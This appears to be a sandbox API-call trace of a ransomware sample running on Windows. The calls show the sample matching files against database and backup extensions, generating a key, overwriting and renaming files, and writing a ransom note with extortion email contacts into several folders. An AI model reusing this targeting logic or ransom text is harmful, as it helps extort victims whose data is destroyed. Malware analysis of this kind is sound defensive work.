	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".BAK") returned 0x0
	[0077.225] lstrlenW (lpString=".BAC") returned 4
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".BAC") returned 0x0
	[0077.225] lstrlenW (lpString=".dbs") returned 4
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbs") returned 0x0
	[0077.225] lstrlenW (lpString=".vhdx") returned 5
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".vhdx") returned 0x0
	[0077.225] lstrlenW (lpString=".NDF") returned 4
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".NDF") returned 0x0
	[0077.225] lstrlenW (lpString=".dat") returned 4
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dat") returned 0x0
	[0077.225] lstrlenW (lpString=".DBS") returned 4
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBS") returned 0x0
	[0077.225] lstrlenW (lpString=".CKP") returned 4
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".CKP") returned 0x0
	[0077.225] lstrlenW (lpString=".edb") returned 4
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".edb") returned 0x0
	[0077.225] lstrlenW (lpString=".PST") returned 4
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".PST") returned 0x0
	[0077.225] lstrlenW (lpString=".dbf") returned 4
	[0077.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbf") returned 0x0
	[0077.226] lstrlenW (lpString=".SQL") returned 4
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".SQL") returned 0x0
	[0077.226] lstrlenW (lpString=".pst") returned 4
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".pst") returned 0x0
	[0077.226] lstrlenW (lpString=".dbv") returned 4
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbv") returned 0x0
	[0077.226] lstrlenW (lpString=".SDF") returned 4
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".SDF") returned 0x0
	[0077.226] lstrlenW (lpString=".dtxs") returned 5
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dtxs") returned 0x0
	[0077.226] lstrlenW (lpString=".db3") returned 4
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".db3") returned 0x0
	[0077.226] lstrlenW (lpString=".OST") returned 4
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".OST") returned 0x0
	[0077.226] lstrlenW (lpString=".dbx") returned 4
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbx") returned 0x0
	[0077.226] lstrlenW (lpString=".DB3") returned 4
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DB3") returned 0x0
	[0077.226] lstrlenW (lpString=".DAT") returned 4
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DAT") returned 0x0
	[0077.226] lstrlenW (lpString=".VHDX") returned 5
	[0077.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".VHDX") returned 0x0
	[0077.226] lstrlenW (lpString=".ndf") returned 4
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ndf") returned 0x0
	[0077.227] lstrlenW (lpString=".DB") returned 3
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DB") returned 0x0
	[0077.227] lstrlenW (lpString=".sql") returned 4
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sql") returned 0x0
	[0077.227] lstrlenW (lpString=".MYD") returned 4
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".MYD") returned 0x0
	[0077.227] lstrlenW (lpString=".DBT") returned 4
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBT") returned 0x0
	[0077.227] lstrlenW (lpString=".ACCDB") returned 6
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ACCDB") returned 0x0
	[0077.227] lstrlenW (lpString=".fdb") returned 4
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".fdb") returned 0x0
	[0077.227] lstrlenW (lpString=".bak") returned 4
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bak") returned 0x0
	[0077.227] lstrlenW (lpString=".myd") returned 4
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".myd") returned 0x0
	[0077.227] lstrlenW (lpString=".DTXS") returned 5
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DTXS") returned 0x0
	[0077.227] lstrlenW (lpString=".ckp") returned 4
	[0077.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ckp") returned 0x0
	[0077.227] lstrlenW (lpString=".dbt") returned 4
	[0077.228] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbt") returned 0x0
	[0077.228] lstrlenW (lpString=".db") returned 3
	[0077.228] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".db") returned 0x0
	[0077.228] lstrlenW (lpString=".TXT") returned 4
	[0077.228] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".TXT") returned 0x0
	[0077.228] lstrlenW (lpString=".MDF") returned 4
	[0077.228] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".MDF") returned 0x0
	[0077.228] lstrlenW (lpString=".bdb") returned 4
	[0077.228] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bdb") returned 0x0
	[0077.228] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.228] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0077.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.228] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0077.325] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.325] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.326] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19731576286) returned 1
	[0077.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x97fd83b0, dwHighDateTime=0x1d60e1e)) 
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac900
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac900 | out: hHeap=0x300000) returned 1
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab228
	[0077.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab228 | out: hHeap=0x300000) returned 1
	[0077.326] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0077.327] GetLastError () returned 0x0
	[0077.327] GetLastError () returned 0x0
	[0077.327] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0077.327] GetLastError () returned 0x0
	[0077.327] GetLastError () returned 0x0
	[0077.328] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.345] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.345] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.347] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.347] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.349] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.349] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.349] CloseHandle (hObject=0x134) returned 1
	[0077.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0077.399] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.~~~~")) returned 1
	[0077.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a46c0 | out: hHeap=0x300000) returned 1
	[0077.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0077.466] GetLastError () returned 0x0
	[0077.470] RtlWakeConditionVariable () returned 0x365f70
	[0077.478] GetCurrentThreadId () returned 0xaf0
	[0077.478] GetCurrentThreadId () returned 0xaf0
	[0077.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0077.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab618 | out: hHeap=0x300000) returned 1
	[0077.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aca18 | out: hHeap=0x300000) returned 1
	[0077.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab618
	[0077.478] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.479] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.479] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.480] CloseHandle (hObject=0x128) returned 1
	[0077.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab618 | out: hHeap=0x300000) returned 1
	[0077.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0077.481] RtlWakeConditionVariable () returned 0x365f70
	[0077.481] GetCurrentThreadId () returned 0xaf0
	[0077.481] GetCurrentThreadId () returned 0xaf0
	[0077.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0077.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ed98 | out: hHeap=0x300000) returned 1
	[0077.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aca50 | out: hHeap=0x300000) returned 1
	[0077.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39e8e0
	[0077.481] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.482] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.482] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.483] CloseHandle (hObject=0x128) returned 1
	[0077.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e8e0 | out: hHeap=0x300000) returned 1
	[0077.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0077.484] RtlWakeConditionVariable () returned 0x365f70
	[0077.484] GetCurrentThreadId () returned 0xaf0
	[0077.484] GetCurrentThreadId () returned 0xaf0
	[0077.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0077.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aca88 | out: hHeap=0x300000) returned 1
	[0077.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0077.484] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\Read~ME.txt" (normalized: "c:\\msocache\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.485] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.485] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.486] CloseHandle (hObject=0x128) returned 1
	[0077.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0077.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.486] RtlWakeConditionVariable () returned 0x365f70
	[0077.486] GetCurrentThreadId () returned 0xaf0
	[0077.486] GetCurrentThreadId () returned 0xaf0
	[0077.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aca88
	[0077.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acb30 | out: hHeap=0x300000) returned 1
	[0077.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acaf8 | out: hHeap=0x300000) returned 1
	[0077.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acaf8
	[0077.486] lstrlenW (lpString=".scr") returned 4
	[0077.487] StrStrW (lpFirst="\\\\?\\C:\\pagefile.sys", lpSrch=".scr") returned 0x0
	[0077.487] lstrlenW (lpString=".cmd") returned 4
	[0077.487] StrStrW (lpFirst="\\\\?\\C:\\pagefile.sys", lpSrch=".cmd") returned 0x0
	[0077.487] lstrlenW (lpString=".dll") returned 4
	[0077.487] StrStrW (lpFirst="\\\\?\\C:\\pagefile.sys", lpSrch=".dll") returned 0x0
	[0077.487] lstrlenW (lpString=".bat") returned 4
	[0077.487] StrStrW (lpFirst="\\\\?\\C:\\pagefile.sys", lpSrch=".bat") returned 0x0
	[0077.487] lstrlenW (lpString=".cpl") returned 4
	[0077.487] StrStrW (lpFirst="\\\\?\\C:\\pagefile.sys", lpSrch=".cpl") returned 0x0
	[0077.487] lstrlenW (lpString=".sys") returned 4
	[0077.487] StrStrW (lpFirst="\\\\?\\C:\\pagefile.sys", lpSrch=".sys") returned=".sys"
	[0077.487] lstrlenW (lpString=".sys") returned 4
	[0077.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acaf8 | out: hHeap=0x300000) returned 1
	[0077.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aca88 | out: hHeap=0x300000) returned 1
	[0077.487] RtlWakeConditionVariable () returned 0x365f70
	[0077.487] GetCurrentThreadId () returned 0xaf0
	[0077.487] GetCurrentThreadId () returned 0xaf0
	[0077.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0077.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0077.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acac0 | out: hHeap=0x300000) returned 1
	[0077.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0077.488] CreateFileW (lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\Read~ME.txt" (normalized: "c:\\perflogs\\admin\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.488] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.488] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.489] CloseHandle (hObject=0x128) returned 1
	[0077.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0077.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0077.490] RtlWakeConditionVariable () returned 0x365f70
	[0077.490] GetCurrentThreadId () returned 0xaf0
	[0077.490] GetCurrentThreadId () returned 0xaf0
	[0077.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0077.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acb68 | out: hHeap=0x300000) returned 1
	[0077.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0077.490] CreateFileW (lpFileName="\\\\?\\C:\\PerfLogs\\Read~ME.txt" (normalized: "c:\\perflogs\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.490] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.491] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.492] CloseHandle (hObject=0x128) returned 1
	[0077.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0077.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.492] RtlWakeConditionVariable () returned 0x365f70
	[0077.492] GetCurrentThreadId () returned 0xaf0
	[0077.492] GetCurrentThreadId () returned 0xaf0
	[0077.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acb68
	[0077.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9298 | out: hHeap=0x300000) returned 1
	[0077.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9260 | out: hHeap=0x300000) returned 1
	[0077.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9260
	[0077.492] lstrlenW (lpString=".scr") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".scr") returned 0x0
	[0077.493] lstrlenW (lpString=".cmd") returned 4
	[0077.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\.", lpSrch=".cmd") returned 0x0
	[0077.493] lstrlenW (lpString=".dll") returned 4
